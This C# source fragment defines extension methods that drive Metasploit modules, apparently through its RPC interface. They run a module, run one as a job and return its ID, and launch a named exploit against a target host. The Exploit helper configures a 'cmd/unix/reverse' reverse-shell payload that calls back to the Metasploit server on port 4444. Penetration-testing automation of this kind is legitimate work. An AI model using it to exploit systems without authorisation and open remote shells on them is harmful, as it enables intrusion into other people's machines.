public static async Task<Dictionary<string, object>> ExecuteModule( this IMetasploitProvider metasploit, MetasploitModule module) { var response = await metasploit.ExecuteModule(module.Type, module.Name, module.Options); return response; }
public static async Task<(Dictionary<string, object> Result, string JobId)> ExecuteModuleJob( this IMetasploitProvider metasploit, MetasploitModule module) { var response = await metasploit.ExecuteModule(module.Type, module.Name, module.Options); var jobId = response["job_id"].ToString(); return (response, jobId); }
public static async Task<Dictionary<string, object>> Exploit( this IMetasploitProvider metasploit, string moduleName, string rHost) { var module = new MetasploitModule("exploit", moduleName) .RHost(rHost) .LHost(metasploit.MetasploitAddress) .LPort(4444) .Payload("cmd/unix/reverse") .DisablePayloadHandler(true); return await metasploit.ExecuteModule(module); }